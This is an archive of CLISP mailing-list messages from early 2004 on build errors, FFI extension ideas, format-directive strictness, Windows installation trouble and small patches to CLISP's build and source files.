BTW, how current are sf's mailing archives??

I recommend using the FFI for UFFI, and possibly enhance some issues =
(e.g. better variable-sized arrays support).

E.g. I recently thought that either FFI:ELEMENT or FFI:DEREF =
(preferably) could be extended to provide pointer arithmetic like in C: =
*(p+i). This way, one wouldn't have to dynamically construct a =
FOREIGN-VARIABLE object of the given `(C-ARRAY x ,size) type, just to =
extract some value.

I believe some of the people posting here could make use of this (I =
forgot whose posting lead me to come up with this idea).

(DEREF #<FOREIGN-VARIABLE (C-ptr char)> &optional signed-index)
-> foreign_value(*(address+signed-index))

Of course, people should know that block- or array-oriented operations =
are faster than their element by element counterpart.
One should work with c-string and c-array[-max] as much as possible, =
instead of dealing with individual characters.
Yet, here, for short arrays, the overhead of building up the =
foreign-variable object's C-type may outweight the inherent performance =
advantage. That's a very implementation dependent area: with compilers =
to native code, there wouldn't be much of a difference.

There are more than a dozen conceivable useful extensions to the FFI.

Another example would be the ability to convert part of a foreign =
array, possibly open-ended to and from Lisp. I already mentioned AFFI's =
MEM-READ/WRITE once. Something similar, based on #<FOREIGN-*> objects, =
could be added to FFI. Then people would continue to be able to use =
fast array operations, instead of elementwise using that DEREF =
extension.

One has to carefully choose. IMHO, something low-level (from an =
application POV) like any FFI is not suited for a hundred utility =
functions, which would all provide somehow similar functionality.

I can't remember where I had my notes about a page full of possible =
extensions.

Regards,
	J=F6rg H=F6hle.


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Python 2.3.2 (#1, Oct  9 2003, 12:03:29)
[GCC 3.3.1 (cygming special)] on cygwin
Type "help", "copyright", "credits" or "license" for more information.
>>> def add(a,b):
...     return a + b
...
>>> add(3,4)
7
>>> apply(add, (3,4))
7
>>> print(apply.__doc__)
apply(object[, args[, kwargs]]) -> value

Call a callable object with positional arguments taken from the tuple
args,
and keyword arguments taken from the optional dictionary kwargs.
Note that classes are callable, as are instances with a __call__()
method.

Deprecated since release 2.3. Instead, use the extended call syntax:
    function(*args, **keywords).
>>>


best regards
jens himmelreich


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Date: Fri Feb 27 03:20:04 2004
X-Original-Date: Fri, 27 Feb 2004 05:09:33 -0600

I get two problems with Porter and Clark's Knowledge Machine under
CLISP -- problems that, as far as I know, are not experienced by
users of other Common Lisps.


First error: "DEFUN/DEFMACRO(show-stack): #<package ext> is locked".


[1]> (load "~/site-lisp/km/km.lisp")
;; Loading file /Users/arided/site-lisp/km/km.lisp ...
** - Continuable Error
DEFUN/DEFMACRO(show-stack): #<package ext> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1. Break [2]> continue
Resetting KM...
      ====================================================
      KM - THE KNOWLEDGE MACHINE - INFERENCE ENGINE v2.0.1
      ====================================================
Copyright (C) 2004 Peter Clark and Bruce Porter. KM comes with ABSOLUTELY
NO WARRANTY. This is free software, and you are welcome to redistribute it
under certain conditions. Type (license) for details.

Documentation at http://www.cs.utexas.edu/users/mfkb/km/
Type (km) for the KM interpreter prompt!
;; Loading of file /Users/arided/site-lisp/km/km.lisp is finished.
t


Second error: "*** - Non-existent directive"


[3]> (compile-file "~/site-lisp/km/km.lisp")

Compiling file /Users/arided/site-lisp/km/km.lisp ...
WARNING in function immediate-classes in lines 5951..6007 :
variable enforce-constraints is used despite of IGNORE declaration.
WARNING in function test-val-constraint in lines 9978..10031 :
Duplicate case label quote :
(case mode ('consistent (km0 `(,val &? (|a| ,@(rest constraint)))))
 ('satisfies (km0 `(,val |is| '(|a| ,@(rest constraint))))))
WARNING in function test-val-constraint in lines 9978..10031 :
Duplicate case label quote :
(case mode
 ('consistent
  (some #'(lambda (possible-value) (km0 `(,val &? ,possible-value)))
   possible-values))
 ('satisfies (member val possible-values :test #'equal)))
WARNING in function test-set-constraint in lines 10033..10060 :
Duplicate case label quote : (case mode ('consistent t) ('satisfies (>= nvals n)))
WARNING in function test-set-constraint in lines 10033..10060 :
Duplicate case label quote : (case mode ('consistent (<= nvals n)) ('satisfies (= nvals n)))
*** - Non-existent directive
Current point in control string:
  ~a~60vT~a
       |
1. Break [4]> :a



These might be related to the version of CLISP that I'm using
(Fink's clisp-2.29-13).  One or both of the errors may be easy to
fix, but I have no idea what to do about them.

Advice would be much appreciated.  The KM code is available under
the GPL from http://www.cs.utexas.edu/users/mfkb/RKF/km.html


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Date: Fri Feb 27 06:31:06 2004
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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-02-27 05:09:33 -0600]:
>
> ;; Loading file /Users/arided/site-lisp/km/km.lisp ...
> ** - Continuable Error
> DEFUN/DEFMACRO(show-stack): #<package ext> is locked
> If you continue (by typing 'continue'): Ignore the lock and proceed

EXT:SHOW-STACK is a CLISP extension.
when they define a package, they should specify the USE list and no use
the EXT package.
E.g.,

(defpackage "KM" (:use "CL"))
(in-package "KM")

> Compiling file /Users/arided/site-lisp/km/km.lisp ...
> WARNING in function immediate-classes in lines 5951..6007 :
> variable enforce-constraints is used despite of IGNORE declaration.
> WARNING in function test-val-constraint in lines 9978..10031 :
> Duplicate case label quote :
> (case mode ('consistent (km0 `(,val &? (|a| ,@(rest constraint)))))
>  ('satisfies (km0 `(,val |is| '(|a| ,@(rest constraint))))))
> WARNING in function test-val-constraint in lines 9978..10031 :
> Duplicate case label quote :
> (case mode
>  ('consistent
>   (some #'(lambda (possible-value) (km0 `(,val &? ,possible-value)))
>    possible-values))
>  ('satisfies (member val possible-values :test #'equal)))
> WARNING in function test-set-constraint in lines 10033..10060 :
> Duplicate case label quote : (case mode ('consistent t) ('satisfies (>= nvals n)))
> WARNING in function test-set-constraint in lines 10033..10060 :
> Duplicate case label quote : (case mode ('consistent (<= nvals n))
> ('satisfies (= nvals n)))

the above warnings are indicative of sloppy code (at best) ore severe
bugs (at worse)

> *** - Non-existent directive
> Current point in control string:
>   ~a~60vT~a
>        |
> 1. Break [4]> :a

<http://www.lisp.org/HyperSpec/Body/sec_22-3.html>:
"In place of a prefix parameter to a directive, V (or v) can be used."

CLISP interprets that "v" must be the only prefix argument.
others interpret this more leniently.
please try the appended patch.

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--- format.lisp.~1.23.~	2004-01-21 13:27:29.433240900 -0500
+++ format.lisp	2004-02-27 09:18:16.021572700 -0500
@@ -116,7 +116,7 @@
              (push (if (eql ch #\#) ':ARG-COUNT ':NEXT-ARG)
                    (csd-parm-list newcsd))
              (setf (csd-v-or-#-p newcsd) T)
-             (go param-ok-1))
+             (go param))
             (#\, (push nil (csd-parm-list newcsd)) (go param))
             (#\: (go colon-modifier))
             (#\@ (go atsign-modifier))
@@ -130,7 +130,7 @@
                           (TEXT "~A must introduce a number.")
                           ch))
           (push intparam (csd-parm-list newcsd))
-          (go param-ok-2)
+          (go param-ok)
 
           quote-param           ; Quote-Parameter-Treatment
           (incf index)
@@ -140,10 +140,8 @@
             (go string-ended))
           (setq ch (schar control-string index))
           (push ch (csd-parm-list newcsd))
-
-          param-ok-1            ; Parameter OK
           (incf index)
-          param-ok-2            ; Parameter OK
+          param-ok              ; Parameters OK
           (when (>= index (length control-string))
             (format-error control-string index (errorstring))
             (go string-ended))


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> * Joe Corneli <wpbearyv@zngu.hgrknf.rqh> [2004-02-27 05:09:33 -0600]:
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> *** - Non-existent directive
> Current point in control string:
>   ~a~60vT~a

actually, this is broken.
there must be a comma between prefix arguments "60" and "v".
please report this as a bug to the author of the software.


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Hi,

[Joe Corneli tries to port the Knowledge Machine (KM) package to CLISP]
>> WARNING in function test-val-constraint in lines 9978..10031 :
>> Duplicate case label quote :
>> (case mode ('consistent (km0 `(,val &? (|a| ,@(rest constraint)))))
>>  ('satisfies (km0 `(,val |is| '(|a| ,@(rest constraint))))))

It should be (case mode (consistent ...) (satisfies ...))
It's a bug, probably in KM, maybe depending on macro-expansion mechanisms.
It should be taken seriously unless it's in some test/demo file.
KM will not work properly if it's in the main code.

>> *** - Non-existent directive
My suggestion: CLISP should say "format directive".


>> Current point in control string:
>>   ~a~60vT~a
><http://www.lisp.org/HyperSpec/Body/sec_22-3.html>:
>"In place of a prefix parameter to a directive, V (or v) can be used."
>
>CLISP interprets that "v" must be the only prefix argument.
>others interpret this more leniently.
>please try the appended patch.

I'm sorry. I don't see why CLISP should be patched. I can attach no meaning to 60v. Either 60 is used as a parameter, or v. Parameters are separated using #\,.
So is the above "ignore 60, take v" or "60,v"? (I believe the latter, but who knows)

IMHO, porting KM revealed a bug in KM's code, not in CLISP.

An examples from the CLHS:
"~%Scale factor ~2D: |~13,6,2,VE|": there are 4 parameters, one is "V".
All are separated by commas.

CLISP has a habit and reputation of being strict on semantics, which in the end, helps portability by showing bogus code. Please don't break that.
Please report 1 or 2 bugs to KM instead.

Regards,
	Jorg Hohle.


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I just commented the containing function out & sent that as a patch
-- I will send the comma now. (Apparently some other lisp(s) don't
complain.)

Thanks for your informative help.

   >   ~a~60vT~a
   
   actually, this is broken.


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Date: Sat Feb 28 16:43:06 2004
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Thank you for your speedy reply.  I found the web site below (the new install.bat file) but nothing on the site downloads or links.  Hope the problem is temporary.  I'll keep trying.

William Brown, Ph.D.

>
> I have downloaded Clist 2.32 win 32 onto my HP Pavilion N5425 laptop
> using Windows XP.  However, the program will not install by clicking
> on the install.bat file nor by using Run on the Start menu.

please try
<http://cvs.sourceforge.net/viewcvs.py/*checkout*/clisp/clisp/src/install.bat>
instead.

> Change what strings in src/config.lisp?

*editor*, *load-paths*, *clhs-root-default* and others as you see fit.

> Change them to what?

to whatever better reflects your environment.

> There is only one lisp.exe file and it has a long name
> lisp.exe-0F44C2DE.pf.  It will not start when clicked nor using RUN on
> the Start menu.  Also the lisp.exe file resides in
> c:\windows\prefetch.

you should have downloaded a zip file and un-zipped it into a
directory, something like "c:\gnu\clisp-2.32\".
if winzip or windows, in a miguided attempt to protect you from viruses,
do not let you do that, you will need to download info-zip. (google for it)


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Dear CLISP developers,

I tried to install clisp-2.32 with mit-clx  on my Linux box: 
  SuSE Linux 7.0 (i386),
  Kernel 2.2.16, 
  gcc 2.95.2, 
  GNU bash 2.04,
  GNU sed version 3.02.

Doing a 'make' in the 'src' directory failed:
  ...
  ...
  ;; Loaded file /opt2/ah/src/lang/lisp/clisp/clisp-2.32/src/clx/mit-clx/trace.fas
  2297280 ;
  574320
  sed: -e expression #1, char 122: Unknown option to 's'
  make: *** [full] Error 1

The reason was a 'sed' syntax error in the file 'clisp-link'
(made visible by enabling the 'set -x' in the file ).

The substitute command uses a comma ',' as delimiter for the old and new strings.
After shell expansion of $LIBS the new string also contained commas, 
so sed's substitute command got confused, seeing too much delimiters...

Changing the delimiter to ':' fixed the problem, I could compile
the whole thing!

Here a diff -u between the original and the patched 'clisp-link' file:
--8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<--

--- clisp-link-orig     Sun Feb 29 04:37:34 2004
+++ clisp-link-new      Sun Feb 29 04:38:04 2004
@@ -284,8 +284,8 @@
     echo "LIBS: before: "$LIBS
     LIBS=`echo $LIBS | sed s/','/'\\\\,'/g`
     echo "LIBS: after: "$LIBS
-    # Done.
     sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/ma
kevars > "$destinationdir"/makevars
+    # Done.
     trap '' 1 2 15
     ;;
 
@@ -423,7 +423,7 @@
       fi
       # Generate new makevars
       LIBS=`echo $LIBS | sed s/','/'\\,'/g`
-      sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/
makevars > "$destinationdir"/makevars
+      sed -e "s:^LIBS=.*\$:LIBS='${LIBS}':" -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/
makevars > "$destinationdir"/makevars
     fi
     # Done.
     trap '' 1 2 15


--8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8<--


Just in case someone runs into the same problem...


Thank you for supplying the world with a nice lisp version,
I like CLISP very much, yet I'm still a lisp greenhorn...

Greetings from Austria

  Andreas Haunschmidt
  mail: Haunschmidt@gmx.net

P.S.:
Sorry for that lengthy description of replacing ',' by ':' in a line :)


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Dear Sir/Madam,

I have installed clisp-2,32 and when I unzip it I go to folder full and
select lisp.exe.
There is a starting prigram error however, missing export
KERNEL32.DLL:CreateHardLinkA .
In the README file it says to change the strings in the src/config.lisp.
What will the new string be and how do I change the one already there? Do I
just erase those or
do I type at the end?

Thank you before hand,
Please answer as soon as possible.




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> I have installed clisp-2,32 and when I unzip it I go to folder full and
> select lisp.exe.
> There is a starting prigram error however, missing export
> KERNEL32.DLL:CreateHardLinkA .
> In the README file it says to change the strings in the src/config.lisp.
> What will the new string be and how do I change the one already there? Do I
> just erase those or
> do I type at the end?
It is just about your favourite editor, internet browser and such
noncritical settings. More important is that you should supply a
memory image (usually lispinit.mem) through command line option '-M'.
So it's best of all to create a batch file starting lisp with
necessary options.
Full version do not work (yet) on windows95,98,NT4.

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> *  <Unhafpuzvqg@tzk.arg> [2004-02-29 05:46:49 +0100]:
>
>   sed: -e expression #1, char 122: Unknown option to 's'

I believe this has been fixed in the CVS.

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 I get an error window saying (not promising the right case...
 The lisp.exe file is linked to missing export kernel32.dll...
 Anyone know what I should do about it?


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> * Don Cohen <qba-grzc298413@vfvf.pf3-vap.pbz> [2004-02-29 20:05:02 -0800]:
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>  I get an error window saying (not promising the right case...
>  The lisp.exe file is linked to missing export kernel32.dll...
>  Anyone know what I should do about it?

upgrade to w2k or stick with the base linking set.

Arseny is working on this - at least he volunteered.

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DC>  I get an error window saying (not promising the right case...
DC>  The lisp.exe file is linked to missing export kernel32.dll...
DC>  Anyone know what I should do about it?

Move to linux ?
Or use the 'base' version.
Well, syscalls module is statically linked to CreateHardlinkA,
so there's no means to run it on win95/98/nt4(/me?). Syscalls module
is the part of full version.

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 > upgrade to w2k or stick with the base linking set.
Ah, is that all.  I had the impression there was no longer any
difference between base and full.  Since I'm evidently wrong, what is
the difference?

Hmm, when I run base and try to load install.lisp I get the
error that there is no ldap package.

 > Move to linux ?
This is so someone else can run my programs.

 > Well, syscalls module is statically linked to CreateHardlinkA,
 > so there's no means to run it on win95/98/nt4(/me?). Syscalls module
 > is the part of full version.
Yes, this was on ME.


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I had asdf.lisp from cclan working with clisp-2.29, but now

[~]% clisp
clisp
STACK depth: 16367
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2003

;; Loading file /Users/arided/.clisprc ...
;;  Loading file /usr/local/src/clocc/src/port/ext.lisp ...
;;  Loaded file /usr/local/src/clocc/src/port/ext.lisp
;;  Loading file /usr/local/src/clocc/src/port/gray.lisp ...
;;  Loaded file /usr/local/src/clocc/src/port/gray.lisp
;;  Loading file /usr/local/src/clocc/src/port/path.lisp ...
;;  Loaded file /usr/local/src/clocc/src/port/path.lisp
;;  Loading file /usr/local/src/clocc/src/port/proc.lisp ...
;;  Loaded file /usr/local/src/clocc/src/port/proc.lisp
;;  Loading file /usr/local/src/clocc/src/port/shell.lisp ...
;;  Loaded file /usr/local/src/clocc/src/port/shell.lisp
;;  Loading file /usr/local/src/clocc/src/port/sys.lisp ...
;;  Loaded file /usr/local/src/clocc/src/port/sys.lisp
;;  Loading file /usr/local/src/asdf/asdf.lisp ...
*** - Error: ~:@> not implemented
Current point in control string:
  ~@<erred while invoking ~A on ~A~@:>
  |


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> In file included from spvwtabs.d:25:
> constsym.d:623: structure has no member named `S_open64'
> constsym.d:623: initializer element is not constant
> constsym.d:623: (near initialization for `symbol_tab_data.S_open.GCself')
> constsym.d:1011: structure has no member named `S_truncate64'
> constsym.d:1011: initializer element is not constant
> constsym.d:1011: (near initialization for `symbol_tab_data.S_truncate.GCself')
> constsym.d:1017: structure has no member named `S_ftruncate64'
> constsym.d:1017: initializer element is not constant
> constsym.d:1017: (near initialization for `symbol_tab_data.S_ftruncate.GCself')

Thanks for reporting this. The appended patch should fix it.

Bruno


*** spvwtabs.d  23 Jun 2003 22:29:53 -0000      1.5
--- spvwtabs.d  1 Mar 2004 11:05:55 -0000
***************
*** 15,20 ****
--- 15,25 ----
  #undef write
  /* LISPBIBL.D does "#define export" */
  #undef export
+ /* Large File Support on some versions of Solaris does "#define open open64",
+    "#define truncate truncate64", "#define ftruncate ftruncate64" */
+ #undef open
+ #undef truncate
+ #undef ftruncate
  
  /* Table of all fixed symbols: */
  global struct symbol_tab_ symbol_tab_data
*** lisparit.d  23 Feb 2004 17:08:40 -0000      1.58
--- lisparit.d  1 Mar 2004 11:05:55 -0000
***************
*** 10,15 ****
--- 10,17 ----
  #define LISPARIT  /* in the following not only macros, but also functions */
  
  #undef LF         /* LF here does not mean 'Linefeed', but 'LongFloat' */
+ #undef truncate   /* undo a possible "#define truncate truncate64" from LFS */
+ #undef ftruncate  /* undo a possible "#define ftruncate ftruncate64" from LFS */
  
  
  /* UP: decides over number equality



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Thanks for looking into this, Bruno.

I had one other problem on the same solaris machine, after applying
your previous patch (which btw seems to be working OK):

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -DNO_SIGSEGV -I. -fPIC -I../ -c regexi.m.c -o regexi.o
In file included from regexi.c:7:
../clisp.h:560: parse error before `saved_back_trace'
../clisp.h:560: warning: type defaults to `int' in declaration of `saved_back_trace'
../clisp.h:560: warning: data definition has no type or storage class
../clisp.h:3511: warning: call-clobbered register used for global register variable

I moved the definition of saved_back_trace below the p_backtrace_t
struct definition in clisp.h, which seemed to work.

-russ



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> * Russell McManus <ehffryy_zpznahf@lnubb.pbz> [2004-03-01 10:54:10 -0500]:
>
> Thanks for looking into this, Bruno.
>
> I had one other problem on the same solaris machine, after applying
> your previous patch (which btw seems to be working OK):
>
> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_GETTEXT -DNO_SIGSEGV -I. -fPIC -I../ -c regexi.m.c -o regexi.o
> In file included from regexi.c:7:
> ../clisp.h:560: parse error before `saved_back_trace'
> ../clisp.h:560: warning: type defaults to `int' in declaration of `saved_back_trace'
> ../clisp.h:560: warning: data definition has no type or storage class
> ../clisp.h:3511: warning: call-clobbered register used for global register variable
>
> I moved the definition of saved_back_trace below the p_backtrace_t
> struct definition in clisp.h, which seemed to work.

please try the appended patch.
thanks.

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--- genclisph.d.~1.95.~	2004-02-27 09:54:31.888619500 -0500
+++ genclisph.d	2004-03-01 12:30:46.235633600 -0500
@@ -1251,7 +1251,7 @@
   printf("extern object saved_value1;\n");
 #endif
 #ifdef HAVE_SAVED_back_trace
-  printf("extern p_backtrace_t saved_back_trace;\n");
+  printf("extern struct backtrace_t* saved_back_trace;\n");
 #endif
 #if defined(HAVE_SAVED_STACK)
   printf("extern gcv_object_t* saved_STACK;\n");


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Joe Corneli <jcorneli@math.utexas.edu> writes:

> I had asdf.lisp from cclan working with clisp-2.29, but now

See this comp.lang.lisp thread=B9 from January for a workaround.


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I couldn't get your link to load properly. So I hunted around a
little.

If you meant the posts from Tue, 13 Jan 2004 about loading asdf.fas
instead of asdf.lisp, that didn't work for me (perhaps because I'm
upgrading from clisp 2.29).

[1]> (load "/usr/local/src/asdf/asdf.fas")

*** - LOAD: compiled file #P"/usr/local/src/asdf/asdf.fas" has an older version marker

My interim solution was to just reinstall clisp 2.29 and use it when
I need to use asdf.


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With clisp 2.32, on Linux:

$ env|grep LC_
LC_MONETARY=es_ES
LC_NUMERIC=en_US
LC_MESSAGES=en_US
LC_COLLATE=C
LC_CTYPE=fr_FR
LC_TIME=en_US
$ alias clisp
alias clisp='/usr/local/bin/clisp -ansi -q -K full -m 128M -I -Efile ISO-8859-1 -Eterminal ISO-8859-1'
$ clisp
;; Loading file /home/pascal/.clisprc.lisp ...
[1]> (map nil (lambda (x) (format t "~30A = ~S~%" x (eval x)))
      '( CUSTOM:*DEFAULT-FILE-ENCODING* SYSTEM::*HTTP-ENCODING* 
         CUSTOM:*MISC-ENCODING* CUSTOM:*PATHNAME-ENCODING* 
         CUSTOM:*TERMINAL-ENCODING*)) 
*DEFAULT-FILE-ENCODING*        = #<ENCODING CHARSET:ISO-8859-1 :UNIX>
*HTTP-ENCODING*                = #<ENCODING CHARSET:UTF-8 :DOS>
*MISC-ENCODING*                = #<ENCODING CHARSET:ISO-8859-1 :UNIX>
*PATHNAME-ENCODING*            = #<ENCODING CHARSET:ISO-8859-1 :UNIX>
*TERMINAL-ENCODING*            = #<ENCODING CHARSET:ISO-8859-1 :UNIX>
[2]> (ext:quit)
$ ls -d /usr/share/locale/fr*
/usr/share/locale/fr/  /usr/share/locale/fr_FR/

On Darwin:

$ env|grep LC_
LC_MESSAGES=en_US
LC_TIME=en_US
LC_NUMERIC=en_US
LC_CTYPE=fr_FR
LC_MONETARY=es_ES
LC_COLLATE=C
$ alias clisp
alias clisp='/usr/local/bin/clisp -ansi -q -K full -m 128M -I -Efile ISO-8859-1 -Eterminal ISO-8859-1'
$ clisp
WARNING: locale: no encoding FR_FR, using UTF-8
;; Loading file /Users/pascal/.clisprc.lisp ...
[1]> (map nil (lambda (x) (format t "~30A = ~S~%" x (eval x))) 
      '( CUSTOM:*DEFAULT-FILE-ENCODING* SYSTEM::*HTTP-ENCODING* 
         CUSTOM:*MISC-ENCODING* CUSTOM:*PATHNAME-ENCODING* 
         CUSTOM:*TERMINAL-ENCODING*))
*DEFAULT-FILE-ENCODING*        = #<ENCODING CHARSET:ISO-8859-1 :UNIX>
*HTTP-ENCODING*                = #<ENCODING CHARSET:UTF-8 :DOS>
*MISC-ENCODING*                = #<ENCODING CHARSET:UTF-8 :UNIX>
*PATHNAME-ENCODING*            = #<ENCODING CHARSET:UTF-8 :UNIX>
*TERMINAL-ENCODING*            = #<ENCODING CHARSET:ISO-8859-1 :UNIX>
NIL
[2]> (ext:quit)
$ ls -d /usr/share/locale/fr*
/usr/share/locale/fr/                    /usr/share/locale/fr_CH/
/usr/share/locale/fr_BE/                 /usr/share/locale/fr_CH.ISO8859-1/
/usr/share/locale/fr_BE.ISO8859-1/       /usr/share/locale/fr_CH.ISO8859-15/
/usr/share/locale/fr_BE.ISO8859-15/      /usr/share/locale/fr_FR/
/usr/share/locale/fr_CA/                 /usr/share/locale/fr_FR.ISO8859-1/
/usr/share/locale/fr_CA.ISO8859-1/       /usr/share/locale/fr_FR.ISO8859-15/
/usr/share/locale/fr_CA.ISO8859-15/

Why this warning?  
WARNING: locale: no encoding FR_FR, using UTF-8

Why does it choose to use UTF-8?


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> Why this warning?  
> WARNING: locale: no encoding FR_FR, using UTF-8

Darwin has particularly poor i18n support, and needs extra support in programs
like clisp. I have now copied the support from GNU libiconv to clisp. So
the problem should be fixed in clisp 2.33.

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Joe Corneli <jcorneli@math.utexas.edu> writes:

> I couldn't get your link to load properly.

Weird. I just tried that URL again it works fine here.

> If you meant the posts from Tue, 13 Jan 2004 about loading asdf.fas
> instead of asdf.lisp, that didn't work for me (perhaps because I'm
> upgrading from clisp 2.29).

Yes, that's the thread. I'm using clisp 2.32 on Cygwin and Edi
asdf.fas works fine. You say you're upgrading from clisp 2.29, but not
/to what/. Are you trying to use clisp 2.32?

> [1]> (load "/usr/local/src/asdf/asdf.fas")
>
> *** - LOAD: compiled file #P"/usr/local/src/asdf/asdf.fas" has an
>       older version marker

I don't see that result here:

,----
| $ clisp -q
| ;; Loading file /home/sharr/.clisprc.fas ...
| ;;  Loading file /usr/local/lib/common-lisp/asdf/asdf.fas ...
| ;;  Loaded file /usr/local/lib/common-lisp/asdf/asdf.fas
| ;; Loaded file /home/sharr/.clisprc.fas
| [1]> (lisp-implementation-version)
| "2.32 (2003-12-29) (built on winsteingoldlap [10.0.19.22])"
`----

> My interim solution was to just reinstall clisp 2.29 and use it when
> I need to use asdf.

That's a shame. Perhaps someone else here can comment on this "older
version marker" situation.

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Hello,
I compiled clisp 2.32 (2003-12-29/mandrake 9.0).
qix.lisp shows its picture, but
-demo hello-world.lisp from clocc/clx issues:"class #<BUILT-IN-CLASS T> has 
no slot named FONT-INFO.
menu.lisp demo gives me the same answer.
Where should I look for?
Further:
Has anyone compiled "SLIK" with clisp? 
While compiling "gldefs.cl" :SLIK::LOAD-GL not defined, the 
"LOOKUP-FOREIGN-Function" seems not to find the glfunctions.
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> *  <VPZqrfvta@nby.pbz> [2004-03-05 04:24:47 -0500]:
>
> I compiled clisp 2.32 (2003-12-29/mandrake 9.0).

which clx did you use? mit-clx or new-clx?

> qix.lisp shows its picture, but -demo hello-world.lisp from clocc/clx
> issues:"class #<BUILT-IN-CLASS T> has no slot named FONT-INFO.

<http://clisp.cons.org/impnotes/environment.html#debugger>
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I also am having trouble with clx (I'm trying the mit variant) --
but I'm using clisp 2.29 because I also need to use asdf and I
couldn't get it working in 2.32.


Here is what I get from CLISP if I just try to load clx.fas:

;;  Loading file /Users/arided/Lisp/clisp-2.29/modules/clx/mit-clx/clx.fas ...
*** - There is no package with name "XLIB"
1. Break [1]> 

I guess I just should be loading something different instead or
first?

If I try to run the demo using the directions in the mit-clx README,
what I get is this:

[mit-clx]% clisp29 -M clx.mem -m 4MB
*snip*

[1]>   (cd "demo/")
[1]>   (cd "demo/")
#P"/Users/arided/Lisp/clisp-2.29/modules/clx/mit-clx/demo/"
[2]>   (load "hello")
[2]>   (load "hello")
;; Loading file /Users/arided/Lisp/clisp-2.29/modules/clx/mit-clx/demo/hello.lisp ...
;; Loading of file /Users/arided/Lisp/clisp-2.29/modules/clx/mit-clx/demo/hello.lisp is finished.
T
[3]>   (xlib::hello-world "")
[3]>   (xlib::hello-world "")

*** - Connection failure to X11.0 server  display 0: 
No protocol specified

1. Break [4]> 


Should I quit my window manager first, or is there something else to do?


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In einer eMail vom 05.03.04 15:23:21 (MEZ) Mitteleurop=E4ische Zeit schreibt=
=20
sds@gnu.org:

<< > *  <VPZqrfvta@nby.pbz> [2004-03-05 04:24:47 -0500]:
 >
 > I compiled clisp 2.32 (2003-12-29/mandrake 9.0).
=20
 which clx did you use? mit-clx or new-clx?
=20
 > qix.lisp shows its picture, but -demo hello-world.lisp from clocc/clx
 > issues:"class #<BUILT-IN-CLASS T> has no slot named FONT-INFO.
=20
 <http://clisp.cons.org/impnotes/environment.html#debugger>
 ":h" and ":bt" are your friends.
  >>
Thanks for the answer, and sorry for the noise in this list.
But I compiled a virgin dist from sf. Therefore it shouldn't happen that=20
demos break, I thougt.=20
I compiled clisp 2.32 with its clx, contained in the distrib(clx/new-clx)
in CLOCC/SRC/GUI/CLX/DEMO
...clisp-2.32/full/lisp.run -M ....lispinit.mem
[] (load "qix.lisp")
[] (in-package :xlib)
XLIB[] (qix :host "k")  =3D> ok
[] (load "hello.lisp")
[] (in-package :xlib)
XLIB[] (hello-world "k")
*** SLOT-VALUE:The class #<BUILT-IN-CLASS T> has no slot named FONT-INFO
Is there needed some other package to run hello.lisp??
Konrad


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> *  <VPZqrfvta@nby.pbz> [2004-03-06 03:16:48 -0500]:
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>  ":h" and ":bt" are your friends.
> XLIB[] (hello-world "k")
> *** SLOT-VALUE:The class #<BUILT-IN-CLASS T> has no slot named FONT-INFO

this appears to be a bug.  we need to investigate it.
please try the above commands, start with ":bt".

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In trying to move a program that used generic streams from 2.27 to
2.32 I found that a lot of symbols had changed packages.  I hope that
won't keep happening.

The problem I'm trying to solve now actually seems to happen in 2.27
as well.  I do 
(princ "a
b" stream)
where stream is a generic stream
and I find that the generic function that prints a single character
to the stream gets called with a #\newline before it's called with
the #\a !  If I just do (princ "a" stream) this does not happen.
Even stranger, when I call terpri on a generic stream I see the
write-char function called on a #\newline when I run from within
emacs, but not when I run in an xterm.

Any explanations or advice?


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That's what causes 
(princ "a
b" stream)
to insert a newline before the a.
The other problem is a false alarm.



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> * Don Cohen <qba-grzc298413@vfvf.pf3-vap.pbz> [2004-03-06 16:45:04 -0800]:
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> The problem I'm trying to solve now actually seems to happen in 2.27
> as well.  I do 
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> where stream is a generic stream
> and I find that the generic function that prints a single character
> to the stream gets called with a #\newline before it's called with
> the #\a !  If I just do (princ "a" stream) this does not happen.
> Even stranger, when I call terpri on a generic stream I see the
> write-char function called on a #\newline when I run from within
> emacs, but not when I run in an xterm.

<http://clisp.cons.org/impnotes/printer.html#ppr-first-newline>
<http://clisp.cons.org/impnotes.html#ppr-first-newline>

isn't it nice to be able to answer a question with a simple URL?

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Hi, 

in the CVS tarball on the clisp home page, everything has a `,v'
suffix.  

Why is this, 

should I try to rid of them with find...xargs..., 

and/or is there a better way to "check clisp out of cvs" than
downloading this tarball?

Thanks,
Joe


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Hi,

Konrad asks:
>Has anyone compiled "SLIK" with clisp? 
Don't know. Don't know what this is (isn't that one of the Scheme implementations?).

>While compiling "gldefs.cl" :SLIK::LOAD-GL not defined, the 
>"LOOKUP-FOREIGN-Function" seems not to find the glfunctions.
That's from the FFI. Please be more precise.

If the FFI, or more precisely FFI::LOOKUP-FOREIGN-FUNCTION is involved, you must ensure that you built a binary version of CLISP which contains something like a slik or gl C(++?) module.

See ext:module-info in ?30.2.2 of impnotes for a list of currently known modules.
http://clisp.cons.org/impnotes/modules.html

